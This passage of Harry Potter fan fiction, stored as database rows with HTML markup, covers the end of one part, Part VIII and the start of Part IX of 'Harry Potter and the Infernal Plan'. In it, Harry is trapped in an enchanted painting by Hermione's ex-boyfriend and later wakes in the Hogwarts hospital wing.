then,&quot; he said and Hermione rolled her eyes at him.<br>\n\n<br> Harry left her reading her books (and looking quite happy to be doing so) as he began to wander around the stacks. It wasn\'t a very big library and most of the people sitting about reading books were rather elderly. A group of people about his age were huddled around a table, the girls giggling about something while the boys were trying hard to look cool. They all turned to look at him and Harry quickly brushed his bangs over his scar before he remembered he didn\'t have to. They would have no clue who he was. They might know Hermione but he doubted it. They didn\'t look like they spent the entire summer with their noses pressed in books.<br>\n\n<br> He walked past them toward a small room at the back of the library and the girls all whispered something and started giggling again. Harry slipped out of their view and went about looking around the room. Books were haphazardly stacked everywhere, most of them so old their bindings were falling off. Obviously, they didn\'t have Madam Pince working here, making sure everything was repaired and in good order. Of course, they also didn\'t have magic to help repair them.<br>\n\n<br> Harry also noticed that this seemed to be the room for discarded artwork. It reminded him of the one room at Hogwarts where he and Hermione would meet secretly except none of the people in these paintings ever moved and the statues weren\'t of old men dressed in robes with pointy hats. Instead, they were some sort of abstract thing probably done by some local artist years and years ago. Perhaps that\'s why they were relegated to the back room.<br>\n\n<br> One painting did capture his attention. It seemed so familiar and he walked towards it, wondering where he might have seen it before. There was so much art at Hogwarts but none of those paintings would ever be hanging in a Muggle library. But still . . . he was sure he had seen it or at least something like it before. Stepping closer, he was quite sure he saw something on the canvas flutter. Or maybe spark. That couldn\'t be possible because even the ones at Hogwarts stopped moving before the end of the term and no one had figured out how to fix them.<br>\n\n<br> &quot;Isn\'t it nice?&quot; someone asked from behind him and he turned around quickly to find Drew standing at the door.<br>\n\n<br> &quot;Oh, it\'s you,&quot; Harry said before turning around to face the painting again. He would rather look at that than at Hermione\'s ex-boyfriend.<br>\n\n<br> &quot;My mum painted just a few years ago and donated it to the library recently. They obviously don\'t like it much,&quot; Drew just said and Harry nodded. He wasn\'t sure what to say. The painting wasn\'t exactly something one would compliment. It was a sea of browns and golds and had no real . . . point.<br>\n\n<br> &quot;It\'s . . . it\'s interesting,&quot; Harry managed to stammer, hoping that Drew wouldn\'t want to discuss if further and would just go away. A few seconds passed and Harry realized he wasn\'t going anywhere.<br>\n\n<br> &quot;She painted a few others. They\'re all around town and some are even in other parts of the country. I think the Grangers even have one of her paintings in their house . . . since Hermione wouldn\'t accept it as a gift when I sent it to her . . . she tried to send it back right away but her mum decided to keep it instead. Unfortunately, Hermione never did invite me in while you were there. Most aren\'t stuck in some back room like this one. Of course, having it here makes it easier since you and I are technically alone,&quot; Drew said and now Harry was quite puzzled.<br>\n\n<br> &quot;Easier to do what?&quot; he asked.<br>\n\n<br> &quot;It wasn\'t supposed to happen the way it did,&quot; Drew said instead of answering Harry\'s question. &quot;You got in the way of all the plans.&quot;<br>\n\n<br> &quot;What plans?&quot; Harry asked, not sure exactly what was going on. He did get in the way of Drew and Hermione being together but that wasn\'t his fault. It just happened.<br>\n\n<br> &quot;I was supposed to meet Hermione. I was to make her to like me early last summer but it took her the whole summer to even notice me considering she always was reading a book or scribbling out notes. I was to talk her into meeting you last summer. We were supposed to become friends a long time before now. . . &quot;<br>\n\n<br> &quot;I wouldn\'t say we\'re friends now . . .&quot; Harry interrupted but Drew kept going on.<br>\n\n<br> &quot;Instead, the two of you somehow ended up together and all the plans had to be delayed. Delayed until today, that is. I have never felt luckier than I did watching the two of you come into the library together,&quot; Drew said, coming closer. Harry was certain that he was right behind him. He could feel anger rolling off of him and he knew Drew was trying hard to fight it.<br>\n\n<br> &quot;And what was supposed to happen then? What\'s supposed to happen now?&quot; Harry asked, taking a step forward and away from Drew. He was now so close to the painting that he could see the small and careful brush strokes that went into making it. He also noticed that it wasn\'t quite the same shade of brown and gold that it was when he first looked at it. It was looking more like the painting in the empty room at Hogwarts. They were nearly identical now.<br>\n\n<br> &quot;It was the least I could do, considering I turned out to be a Squib and not a world famous wizard like yourself,&quot; Drew said and Harry froze.<br>\n\n<br> How could Drew know about what he was? And he was a Squib . . . making Drew\'s parents wizards? He didn\'t meet Hermione by accident? What was the least he could do? So many questions were flying around Harry\'s brain and he didn\'t know what was happening.<br>\n\n<br> &quot;Drew, I don\'t know what you know about me or how you found out but I didn\'t mean to come between you and Hermione. . .&quot;<br>\n\n<br> &quot;This really has nothing to do with that,&quot; Drew said from so close behind him that Harry could feel his breath close to his ear. &quot;She was just a way to get to you.&quot;<br>\n\n<br> &quot;I\'m here now. What do you want from me?&quot; Harry asked. Something inside him was whispering that he should turn around and run out of here but he needed to know more. He had to find out if any of this involved Hermione and if she was in danger.<br>\n\n<br> &quot;Move closer,&quot; Drew said and Harry instinctively reached for his wand. It wasn\'t with him or at least not on him. It was in his book bag that was sitting at Hermione\'s table. He thought that would be close enough if something happened. He had no plans of wandering into Hermione\'s ex-boyfriend or of having him turn out to be anything more than that. Drew noticed Harry patting down his jacket and smiled. &quot;You don\'t have it with you? This will be easier than I thought.&quot;<br>\n\n<br> &quot;I\'m not moving any closer to that thing until you tell me what\'s going on,&quot; Harry demanded.<br>\n\n<br> &quot;My mum is not only a brilliant artist but also an amazing witch. She spent much of her time at Hogwarts studying their extensive art collection and what exactly made them tick,&quot; Drew said, stepping even closer to Harry, forcing him to move closer to the painting.<br>\n\n<br> Harry tried to remember if that if in all his years at Hogwarts he had ever heard of the name Rowntree before but he was drawing a blank. Perhaps his father went somewhere else. He didn\'t know of all of the schools of witchcraft and wizardry there were in the world so it was quite possible he could have gone anywhere.<br>\n\n<br> &quot;So, she\'s the one responsible for what happened to the paintings at Hogwarts?&quot; Harry asked.<br>\n\n<br> &quot;Not entirely,&quot; Drew said. Harry was trying to listen and devise a way to get past Drew and back to Hermione. Every direction he moved in, Drew was right there with him. He knew he was capable of doing things without his wand but he didn\'t have that much control over it and there was that whole underage . . . wait. He was no longer underage. No one could ever get him on that again.<br>\n\n<br> If it came right down to it, he\'d just scream. This place was so small that everyone would come running. <br>\n\n<br> &quot;Then who is?&quot; Harry would keep asking questions so he could think of something or until Hermione would come looking for him. Damn her and her studies. It could be hours before she would even notice he was gone.<br>\n\n<br> &quot;My father was always fascinated with the dark arts. Having lived in Australia, he was always disappointed that he was so far away from the rise of the Dark Lord all those years ago but he\'s here for his return to greatness. The only thing he was ever more disappointed in . . . was me,&quot; said Drew solemnly. Harry struggled to remember every word he ever heard Hermione mention about Drew when he was her boyfriend but most of those conversations were only shared with Ginny. After a certain point, he didn\'t want to hear them. <br>\n\n<br> &quot;I\'m sure that\'s not true,&quot; Harry said, trying to say anything. <br>\n\n<br> &quot;Do you know what it\'s like to have people hate what you are? Hate you for something you can\'t fix or that you have no control over?&quot; Drew asked. <br>\n\n<br> &quot;Yes,&quot; Harry answered truthfully. <br>\n\n<br> &quot;Do you know what it\'s like when it\'s your own father? Of course not. Your parents loved you so much they were willing to die for you.&quot; <br>\n\n<br> &quot;Drew, listen, I\'m really sorry that you feel . . . &quot;<br>\n\n<br> &quot;But now I have the chance to redeem myself in his eyes. It has taken me a year and my day has finally come. I\'m going to be the one to ensnare Harry Potter. My mother and I have spent so long devising this plan in the hopes of making it work just right. Over this past year, we\'ve had a few problems but I think they\'re solved now. We just had to silence all those other people running around the portraits before any of them could open their gobs,&quot; Drew said.<br>\n\n<br> &quot;You turned off the portraits? How?&quot; Harry asked, coming up with more questions. Drew was like most of them that aspired to be evil. They liked to talk about it instead of just do it and keep quiet.<br>\n\n<br> &quot;Haven\'t you been listening? I can\'t do a thing. All I could do is get you in the right place at the right time and I\'ve done that.&quot;<br>\n\n<br> &quot;I think you\'re making a big mistake. I do know what it\'s like to have people hate you for what you are. I know it very well and I think . . . er . . . well, Hermione has always spoken well of you and she really likes you. She\'s a powerful and clever witch, Drew, and you don\'t want to cross paths with her,&quot; Harry said, saying Hermione\'s name louder than the rest of his words. Too bad his clever witch of a girlfriend couldn\'t get her nose out of a book long enough to come in here. &quot;Hermione would be very angry . . .&quot;<br>\n\n<br> &quot;That\'s enough of that!&quot; Drew said, an quick flash of rage crossing his face. &quot;Soon, everyone will know my name, not yours. My father will be rewarded by the Dark Lord for finally ridding the world of you and he will be pleased with me. All you have to do is move closer . . .&quot;<br>\n\n<br> Harry didn\'t get a chance to step back willingly. As soon as he opened his mouth to cry out for Hermione, Drew shoved him into the painting behind him. Drew had a pained look on his face and his hand crackled with an unnatural green energy that Harry knew the Squib boy couldn\'t have produced himself. It had to have come from him but it didn\'t matter. It was too late. <br>\n\n<br> There was a strange tug, and it wasn\'t unlike using a portkey. He thought at first that was perhaps what the picture was and he panicked, knowing what happened the last time he had been sent somewhere against his will by a portkey. He had just finished calling out Hermione\'s name when he realized that it wasn\'t a portkey at all. No, he had nothing in his hands when he hit the ground. It took him a moment to adjust as he tried to stand up but he kept falling down. Whatever was under him was soft and he wasn\'t sure what was going on. <br>\n\n<br> All he was certain of was that he was alone now and surrounded by blinding white light.<br>\n\n<br> *************<br>\n\n<br> To Be Continued . . .<br>\n\n</p>\n\n '),
	(18, 8, ' \n\n\n\n<title>Harry Potter and the Infernal Plan Part VIII</title>\n\n\n\n<p>Harry Potter and the Infernal Plan Part VIII<br> by Jori<br>\n\n<br> Posted once before and now revised July 2003<br>\n\n<br> e-mail: Jori@netroenterprises.com<br>\n\n<br> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br>\n\n<br> NC-17<br>\n\n<br> Spoilers for all five books. Most of this was originally written well before Order of the Phoenix came out but I decided to go back and do some edits. Some were very necessary while others were more cosmetic. In this part, it was necessary. If you read part VIII previously, you\'ll notice this cuts off sooner than the last version. That\'s because too many people said they were confused so I\'m still working on that issue. Thanks for the reviews!!!<br>\n\n<br> H/Hr story<br>\n\n<br> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br>\n\n<br> ***********<br>\n\n<br> An unexpected tap on her shoulder caused Hermione to nearly jump out of her seat. She had been so involved in her studies that she didn\'t hear anyone coming. Expecting to find Harry, ready to go home for the day or perhaps Mrs. Sterling letting her know they had found the book she had been looking for all afternoon, she was surprised to find her mother standing beside her.<br>\n\n<br> &quot;Mum! What time is it?&quot; Hermione asked, noticing that the library was almost empty and the light from the nearest window was fading quickly. <br>\n\n<br> &quot;It\'s almost time for them to close for the day. I called home and when Dad said you weren\'t there, I assumed the two of you would still be here. I thought perhaps you would like a lift home,&quot; Mrs. Granger said, standing up and looking around. &quot;Where\'s Harry?&quot;<br>\n\n<br> &quot;I -- er -- I don\'t really know. He went off to take a look around a while ago,&quot; said Hermione, looking at her watch. A while ago was actually closer to an hour ago. Hermione glanced around and couldn\'t imagine where he would have gone off to in this small place and she doubted he would have left the building without telling her. He didn\'t know his way around the town that well. &quot;I\'ll go look for him. Stay here with my books.&quot;<br>\n\n<br> Hermione walked up and down the stacks, not allowing that idea that something could be wrong to fully form in her brain. He\'s here somewhere, she kept telling herself over and over as she began to run out of stacks to search. Maybe he was playing a prank on her. That had to be it. When she finally found him, she was going to tell him off. <br>\n\n<br> He wasn\'t anywhere in the main part of the library and Hermione returned to the table. &quot;Maybe he\'s in the loo,&quot; whispered Mrs. Granger, adding a reassuring smile to let Hermione know she shouldn\'t worry. <br>\n\n<br> &quot;I\'ll go check,&quot; Hermione said. But instead of walking straight away in that direction, Hermione went into her book bag and retrieved her wand. Then she looked in Harry\'s bag and found his, too. That calmed her down a little. She knew Harry wouldn\'t go far without his wand. She tucked them both into her coat and looked at her mother. <br>\n\n<br> &quot;What ever do you plan on doing with those?&quot; Mrs. Granger asked, her eyes filled with concern over what her daughter was thinking.<br>\n\n<br> &quot;Hopefully, nothing,&quot; Hermione said. &quot;I\'ll be right back.&quot;<br>\n\n<br> &quot;I\'m going to go see if Mrs. Sterling will let me use the phone to call home. Perhaps Harry turned up there and you\'re worried over nothing,&quot; Mrs. Granger said and Hermione nodded. She couldn\'t imagine Harry finding his way there easily but she would let her mother feel helpful anyway. <br>\n\n<br> Hermione walked toward the back of the library and knocked on the door to the men\'s lavatory. When no one answered, she opened the door to find a very startled (and mostly deaf) Mr. Sharp washing his hands at the sink. He had just moved into her neighborhood a year ago and he never was very nice even though her parents had always performed dental work on him at a reduced cost. <br>\n\n<br> &quot;What do you think you\'re doing in here, young lady! Get out now!&quot; he shouted, giving her a nasty look. <br>\n\n<br> &quot;I\'m sorry, Mr. Sharp, but my friend seems to be missing. You haven\'t happened to see a boy about my age with black hair and glasses?&quot; asked Hermione, loud enough for him to hear while looking quickly around the room. <br>\n\n<br> &quot;Absolutely not. Now get out of here before I tell Mrs. Sterling what you and your friends are up to!&quot; the old man said crossly and Hermione backed away as quickly as she could. She checked the ladies\' lavatory just in case but it was empty. <br>\n\n<br> Hermione let a wave of panic bubble up to the surface but she forced it back down. It would do no good to panic now. Harry had to be here. She just wasn\'t looking in the right place. He was so tired that perhaps he fell asleep in one of the reading rooms or in one of the back rooms. She was sure that was it. He was just sleeping somewhere. <br>\n\n<br> She turned a corner and ran straight into Drew, receiving a strange static electricity shock when they touched. &quot;Sorry about that. You okay, Hermione?&quot; the boy asked, holding onto her arm as she regained her balance. <br>\n\n<br> &quot;Thank you, Drew. I\'m fine. You didn\'t happen to see Harry anywhere, did you?&quot; she asked and Drew considered her question for a moment, rubbing his one hand with the other, before answering.<br>\n\n<br> &quot;He was over there talking to some girls earlier but they left. Maybe he went home with one of them,&quot; Drew answered, narrowing his blue eyes at her. <br>\n\n<br> &quot;I doubt that,&quot; Hermione said. Harry picking up girls in the library and going home with them? The idea nearly made Hermione laugh. &quot;If you see him, please let him know I\'m looking for him. My mum is here to take us home.&quot;<br>\n\n<br> &quot;I\'ll do that. Tell your mum I said \'hi.\'&quot; Drew said, walking quickly away from her. <br>\n\n<br> Hermione took a deep breath and walked towards the few rooms she hadn\'t checked yet. He wasn\'t in any of the tiny reading rooms and one of the librarians assured her he wasn\'t in the back office area since that would never be allowed. She suggested that Hermione check the old storage room where the kids liked to hide out when they didn\'t want Mrs. Sterling to see what they were doing. Although Hermione couldn\'t imagine what Harry would be hiding from without her, she headed in that direction anyway, slipping her hand inside her coat and touching their wands. <br>\n\n<br> The room was empty. Now Hermione was really beginning to worry, her thoughts consumed everything that was going to happen next if Harry was missing. To her parents, he was just Harry, her friend since she was a little girl, but the wizarding world would not view the act of losing *the* Harry Potter as something they could just easily dismiss. Not that she would ever be able to, either . . . she loved him more than anyone else on earth and she would never forgive herself . . .<br>\n\n<br> She had to stop it. There was a good reason he wasn\'t here. She knew there had to be one. He would never willingly leave her or his wand behind. It could be his only way to stay alive if . . . no no no. She wouldn\'t even think about that. <br>\n\n<br> But what if it wasn\'t willingly? They felt he was safe out here in the Muggle world where no one cared about who he was, but what if he wasn\'t safe here at all? What if . . .<br>\n\n<br> &quot;Hermione dear?&quot; <br>\n\n<br> She turned around to find her mother standing in the doorway, looking very pale and rattled about something. It was then that Hermione\'s knees began to give out a bit but she caught herself before her mother noticed. <br>\n\n<br> &quot;What?&quot; asked Hermione, her voice cracking. She wasn\'t sure she wanted to hear what was coming next. <br>\n\n<br> &quot;I just spoke to your father about Harry. . . &quot;<br>\n\n<br> Please say he\'s not dead . . . please say he\'s not dead . . . he\'s okay . . . he\'s okay . . .<br>\n\n<br> &quot;. . . and he\'s not there.&quot;<br>\n\n<br> He\'s okay . . . he\'s okay . . . he\'s not dead . . . he\'s just missing . . .<br>\n\n<br> Those words echoed around Hermione\'s head so loudly that she couldn\'t hear anything else. She watched her mother\'s mouth move but she couldn\'t hear a word she was saying. She would do anything for him to be fine. She\'d give up anything, including magic. Including ever being with him again. Anything. Just for him to be okay somewhere. <br>\n\n<br> &quot;Hermione, are you listening to me?&quot;<br>\n\n<br> &quot;Er -- yes,&quot; she lied, forcing herself to pay attention and watch her mother talk. She had to know even if it was horrible news. <br>\n\n<br> &quot;A man claiming to be a friend of Harry\'s arrived at the library while I was on the telephone. He has Harry\'s owl and says his name is . . . something Lupin . . .&quot;<br>\n\n<br> &quot;Remus Lupin?&quot; <br>\n\n<br> &quot;Yes, that was it. Remus Lupin. I wanted to make sure he was someone you actually knew.&quot;<br>\n\n<br> &quot;I do,&quot; Hermione answered, her voice hardly sounding like her own.<br>\n\n<br> &quot;He\'s here with one of your professors. A Professor Snape, I believe. And there are . . . others, too,&quot; Mrs. Granger said and Hermione could tell from the look on her mother\'s face that they were probably other members of the Order and they didn\'t spend much time disguising their wizard appearance. &quot;Mr. Lupin said that it was urgent that he see Harry immediately. He thinks he might be in danger,&quot; <br>\n\n<br> They both already knew that it was past \'might.\' Harry was missing and it took every drop of willpower Hermione had not to drop to her knees and cry. <br>\n\n<br> &quot;Hermione, where did he go?&quot; a voice asked and Hermione looked up to find Remus Lupin staring at her from the doorway. <br>\n\n<br> &quot;I don\'t . . . I don\'t know,&quot; she said, fighting her tears. <br>\n\n<br> Lupin came all the way into the room with Hedwig perched on his arm. He was followed by Professor Snape with his black robes swirling around him. He looked around the room, his eyes flitting from object to object. Tonks followed him in, her hair a violent shade of magenta. Moody came in right after her. <br>\n\n<br> Mrs. Sterling rushed in behind them all, demanding to know what was going on.<br>\n\n<br> &quot;And get that bloody owl out of my library before . . .&quot;<br>\n\n<br> Before she could get another word out, Lupin had out his wand and cast some sort of charm on her. She sank to the floor, silent for now. <br>\n\n<br> &quot;Harry sent a letter last night and in it he mentioned your former boyfriend, a Drew Rowntree,&quot; Lupin said. As he talked, Professor Snape continued to look everything over carefully without moving. Moody decided that wasn\'t enough and he started walking around, taking a better look at the little back room. <br>\n\n<br> &quot;That\'s his name.&quot;<br>\n\n<br> &quot;That\'s what I was afraid of. You see, his father has been a follower of the Dark Arts for years now . . .&quot;<br>\n\n<br> &quot;What?&quot; Hermione asked, cutting him off. <br>\n\n<br> &quot;Your former boyfriend is a Squib, Miss Granger,&quot; Professor Snape said sharply, turning to look at her. <br>\n\n<br> &quot;What?&quot; Hermione and her mother both asked at once. <br>\n\n<br> &quot;A non-magic child born to wizarding parents,&quot; Tonks answered before Snape could. <br>\n\n<br> &quot;The opposite of your daughter,&quot; Snape added, giving Mrs. Granger a good once over, his eyes traveling slowly over her body as if she was something to be loathed. <br>\n\n<br> &quot;I meant, how could I not know?&quot; Hermione asked and Snape snorted softly. <br>\n\n<br> &quot;Why would you suspect anything else, dear?&quot; her mom asked and Hermione\'s brain started to click everything into place. <br>\n\n<br> &quot;You should always be suspicious of everyone you meet,&quot; Moody added, going closer to a painting hanging on the wall. &quot;Especially considering you\'re now in a serious relationship with Harry.&quot;<br>\n\n<br> &quot;What?&quot; Mrs. Granger asked loudly. &quot;What do you mean serious relationship?&quot;<br>\n\n<br> Hermione could feel Moody\'s eyeball looking at her through the back of his head but he didn\'t turn from the painting. She could also feel her mother\'s eyes staring at her waiting for an answer. <br>\n\n<br> &quot;I think first we must locate this Drew Rowntree and his parents,&quot; Lupin said, temporarily saving Hermione from having to explain her current relationship with a boy her mother believed was just a friend. <br>\n\n<br> &quot;I also think we need to take this painting with us. This is no ordinary piece of art . . . I mean beyond it being ugly and all. There\'s something dark about this and I\'d like to examine it further,&quot; Moody said. Snape moved next to him and ran his fingers over the canvas, stepping back as paint flaked from the surface. <br>\n\n<br> &quot;It\'s nothing but a deplorable attempt by a Muggle to make art,&quot; Snape said but Moody didn\'t look convinced. &quot;Leave it here where it belongs, alongside their deplorable books.&quot;<br>\n\n<br> Moody stepped back, considering it once more before turning around to face the group. Hermione knew her mother was still staring at her but she couldn\'t face her yet. <br>\n\n<br> &quot;How did you know something happened to Harry?&quot; she asked, looking at Lupin. <br>\n\n<br> &quot;About an hour ago, after we finally contacted someone who knew all about the Rowntree family, Harry disappeared from . . . well, he disappeared from any of the tracking devices we have on him. And Augustine Sharp contacted us saying he lost sight of the boy . . .&quot;<br>\n\n<br> &quot;Mr. Sharp?&quot; Hermione asked, sounding astonished. <br>\n\n<br> &quot;Yes, Hermione. He was put here to keep an eye on you last summer in case something happened. And when Harry came to visit, he watched him, too,&quot; Tonks answered. <br>\n\n<br> Hermione was still struggling to take this all in. They decided she needed to be watched along with Harry? They must be concerned that her friendship with him would be enough to make her a target for Voldemort or his people, especially after she went with him to the Department of Mysteries. <br>\n\n<br> &quot;Mrs. Granger, perhaps we can move this conversation to your house? I think we have attracted enough attention already today,&quot; Lupin said, nodding towards a still silent Mrs. Sterling. Hermione finally looked at her mother as she nodded her head. &quot;Tonks, can you take care of the librarian and anyone else who might have seen us enter?&quot;<br>\n\n<br> &quot;I\'ll take care of it right away,&quot; Tonks said, tripping again over the woman she was supposed to be taking care of. She helped the dazed woman up and escorted her out of the room.<br>\n\n<br> Everyone else followed, including her mother who looked disappointed and confused all at the same time, leaving Hermione alone in the room. It was then the tears started slipped down Hermione\'s cheek. Everything had been going too well and now that was over. She knew she was going to have to tell her parents the whole truth. She just wanted to stand here for a moment and pretend none of this was happening. They were going to go home and he was going to turn up there. He would turn up and they would spend this last night together like they had planned. <br>\n\n<br> But she knew that wasn\'t going to be the case. <br>\n\n<br> Taking a deep breath, Hermione resolved herself to the notion that she would deal with whatever was to come her way. She would be strong and figure this out. Harry was out there somewhere and she would do whatever she had to find him. She ached for him. She could still feel him with her, inside of her and close to her heart. <br>\n\n<br> So close, in fact, that when walking out of the room, she thought she could actually hear him calling her name. <br>\n\n<br> ***************<br>\n\n<br> &quot;Hermione!&quot; Harry called out one more time in desperation, hoping she would find him. How could she find him here? He didn\'t even know where here was. <br>\n\n<br> He wasn\'t even sure how much time had passed, unable to move his arm far enough to look at his watch. Every time he tried to move at all, he\'d end up dry heaving until his stomach felt like it had when Dudley used to hold him down so his friends could take a jab at him. <br>\n\n<br> And his head . . . the light wasn\'t nearly as bright as it had been when he first arrived here but it still stung his eyes and caused his head to pound. He wasn\'t sure if the light was fading like the sun setting or if his eyes were simply growing accustomed to it. Every now and then, he\'d take a quick look around before closing his eyes again. Even that movement was enough to make his stomach churn. The smell surrounding him only made it worse. It was like being soaked in linseed oil. <br>\n\n<br> All he hoped was that when he opened his eyes the next time, he\'d find himself in a bed in Hermione\'s house and that this was nothing more than a very bad dream brought about by eating too much cake on his birthday.<br>\n\n<br> He had a brief moment of hope when he finally could lift his head and take a look around. There was a brown haired girl standing in front of him, her arms crossed over her chest as she studied him intently.<br>\n\n<br> &quot;Hermione?&quot; he asked, reaching out to the figure. She didn\'t answer and when he finally managed to focus on her, he realized that it wasn\'t Hermione at all. She was an odd looking girl, with pale skin that didn\'t look like skin at all. She moved closer to Harry, kneeling down beside him. When she placed one of her small hands on his forehead, there was no warmth coming from her touch. It was almost as if she were only an . . . image. Like a painting come to life. <br>\n\n<br> &quot;The sickness will soon pass. This often happens to those from the other side when they first enter our world. Rest now and it will be gone when you wake,&quot; said the girl in a shimmering violet dress. He struggled to ask her something but no words would come out of his mouth. Instead, he did as she told him to do and shut his eyes, mercifully drifting off to sleep. <br>\n\n<br> ********************<br>\n\n<br> To Be Continued...<br>\n\n</p>\n\n '),
	(18, 9, '<p><i>Harry Potter and the Infernal Plan Part IX<br/> by Jori<br/> <br/> Set during and after their sixth year at Hogwarts, Hermione asks something of Harry that will change their lives forever. <br/> <br/> NC-17<br/> <br/> Spoilers for all five books. Previous parts edited for Order of the Phoenix but some of the ideas brought up in that book couldn\'t be fully added into this story. Like Luna.<br/> <br/> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.<br/> <br/> A/N: I\'m posting this now because some very lovely people asked about it even though I was going to wait until it was entirely finished. Now, some of you may remember I attempted to post a longer part eight before (Harry in the painting.) Now forget that ever happened. Have you forgotten? Good.<br/> <br/> I had to make some changes. Don\'t worry, I promise that the story will make a lot more sense as time goes on but the changes became necessary to make the story go where I wanted it to go after the events of OotP and because I write the best if two certain characters are together rather than apart.</i><br/> <br/> ***********<br/> <br/> From Part VIII...<br/> <br/> "Hermione!" Harry called out one more time in desperation, hoping she would find him. How could she find him here? He didn\'t even know where here was. <br/> <br/> He wasn\'t even sure how much time had passed, unable to move his arm far enough to look at his watch. Every time he tried to move at all, he\'d end up dry heaving until his stomach felt like it had when Dudley used to hold him down so his friends could take a jab at him. <br/> <br/> And his head . . . the light wasn\'t nearly as bright as it had been when he first arrived here but it still stung his eyes and caused his head to pound. He wasn\'t sure if the light was fading like the sun setting or if his eyes were simply growing accustomed to it. Every now and then, he\'d take a quick look around before closing his eyes again. Even that movement was enough to make his stomach churn. The smell surrounding him only made it worse. It was like being soaked in linseed oil. <br/> <br/> All he hoped was that when he opened his eyes the next time, he\'d find himself in a bed in Hermione\'s house and that this was nothing more than a very bad dream brought about by eating too much cake on his birthday.<br/> <br/> He had a brief moment of hope when he finally could lift his head and take a look around. There was a brown haired girl standing in front of him, her arms crossed over her chest as she studied him intently.<br/> <br/> "Hermione?" he asked, reaching out to the figure. She didn\'t answer and when he finally managed to focus on her, he realized that it wasn\'t Hermione at all. She was an odd looking girl, with pale skin that didn\'t look like skin at all. She moved closer to Harry, kneeling down beside him. When she placed one of her small hands on his forehead, there was no warmth coming from her touch. It was almost as if she were only an . . . image. Like a painting come to life. <br/> <br/> "The sickness will soon pass. This often happens to those from the other side when they first enter our world. Rest now and it will be gone when you wake," said the girl in a shimmering violet dress. He struggled to ask her something but no words would come out of his mouth. Instead, he did as she told him to do and shut his eyes, mercifully drifting off to sleep. <br/> <br/> ********************<br/> <br/> Part IX<br/> <br/> Maybe he was really dead this time. That would make the most sense considering everything. He couldn\'t manage to open his eyes no matter how hard he tried and he couldn\'t feel his body so he had to be dead.<br/> <br/> There had been a bright and peaceful light that he couldn\'t help but go to. Wasn\'t that what Muggles in near death situations always claimed? In a few of the times he had nearly died, it was usually some sort of green light but in the Muggle accounts on those programs Aunt Petunia watched, there was always a bright light and they went towards it until something pulled them back. Harry was sure if he was that close to death again, he wouldn\'t come back for anything. Maybe this was the next great adventure Dumbledore once talked about. He could see his parents again. And Sirius. <br/> <br/> But did dead people have pounding headaches? He was sure they didn\'t. And there was one thing he\'d come back for but it wasn\'t really a thing. It, or rather she was a person. <br/> <br/> She was Hermione.<br/> <br/> With that thought, he finally opened one eye and found himself tucked in bed in what looked like the hospital wing at Hogwarts. He struggled to get his other eye open and even with his fuzzy vision, he could see enough to know where he was. He had been here plenty of times before and was quite familiar with the finer details of the hospital wing. <br/> <br/> So this wasn\'t going to be an adventure at all but how long had he been here? It couldn\'t have been that long but... something just didn\'t add up. He couldn\'t possibly still have been here since the rogue Bludger, could he? No, that was long before summer. Then Harry remembered Hermione and oh, the last few days he spent with her but that still didn\'t explain why he was here at Hogwarts. He turned his head and found her at his bedside, sleeping in such a way that her chin nearly touched her chest and her hair was even more wild than usual. But if he had just been at her house, how did he end up here? They were at the library and then... here?<br/> <br/> "Her-mi..." he rasped, but his voice gave out before he could get the rest of her name out. He reached for her but found that he couldn\'t move his arms. It felt like as if trolls were sitting on his hands, holding them down. The same with his legs, but with heavier trolls. <br/> <br/> Hermione might not have heard him try to creak out her name, but Madam Pomfrey did. She was at his bedside immediately. "Mr. Potter, it\'s nice to see you awake." <br/> <br/> "Wha-" Hermione said, her head going up and her eyes flying open. "Harry!"<br/> <br/> In an instant, she was hugging him as best she could considering he couldn\'t hug back. She wrapped her arms around his neck and kissed him softly on the lips. He wasn\'t about to complain, but this was a rather strange thing to do in front of the school nurse. Madam Pomfrey usually asked no questions and did little to get anyone into trouble but weren\'t they keeping this hidden from adults? <br/> <br/> Madam Pomfrey asked her to kindly back up so she could examine the patient and Hermione sat back down, tears rolling down her cheeks. <br/> <br/> "How are you feeling?" Madam Pomfrey asked and he wasn\'t sure how he was feeling yet considering a minute ago he thought he was dead. "I imagine that was quite an adventure you where on."<br/> <br/> "It was? What are you talking about?" he asked, his throat so parched it hurt. Madam Pomfrey stopped moving and looked him in the eye as if trying to tell whether he was joking or not. <br/> <br/> "Does your head hurt at all?" she asked and he nodded the best he could. She went to the bedside table and mixed together a potion so vile smelling even Hermione had to put her hand to her nose. <br/> <br/> "I\'m supposed to drink that?" Harry asked, squinting at the green liquid bubbling up in the container. Even though he couldn\'t see very well without his glasses, he knew it looked bad. <br/> <br/> "It won\'t work from the outside, Mr. Potter. It\'s not as bad as all that. If you could survive Skele-Gro, you\'ll be able to stomach this," she said but Harry doubted it. She and Hermione helped prop him up long enough for him to drink it and he hoped he didn\'t vomit on them. They must have been thinking the same thing for as soon as he had finished it, they stepped away quickly. <br/> <br/> "What was that for anyway?" Harry asked. His throat was feeling better but now his stomach had become partners with his head in the ache department. <br/> <br/> He caught Madam Pomfrey giving Hermione a quick glance before turning to Harry. "Don\'t you worry about anything just yet. It was just a simple potion to help you get your strength back. You\'re going to need many more of those."<br/> <br/> "My strength? What happened to me? How did I end up here?" he asked. He had just been in the Muggle library when that ex-boyfriend of Hermione\'s had approached him and... what happened after that and before the bright light? He couldn\'t remember a thing.<br/> <br/> "All in good time, Mr. Potter. All in good time. That should help with your headache soon enough. I\'ll inform Professor Dumbledore that you\'re awake," Madam Pomfrey said, giving Hermione a stern look of warning before walking away. <br/> <br/> "Hermione, what\'s going on?" Harry asked after Madam Pomfrey had left the room. If anyone would tell him the truth immediately, it was Hermione. <br/> <br/> "Professor Dumbledore made me promise --" Hermione started to say and Harry groaned. He didn\'t want to hear that again ever. She looked away and pursed her lips, trying hard not to tell him anything.<br/> <br/> "You have to tell me. You can\'t do this to me again. Not now. I don\'t give a damn what Dumbledore told you," he snapped at her. <br/> <br/> "Oh, Harry, he made me promise that if you couldn\'t remember what happened I would wait for him. I\'m sure he won\'t make you wait long. There are a few things he wants to tell you and it really would be best coming from him," she said.<br/> <br/> "Why not you? You are my girlfriend, aren\'t you? What happened? Tell me," he pleaded. "Explain to me how I got from the Muggle library to here because I don\'t remember any of it. If something happened to me there, why am I not in St. 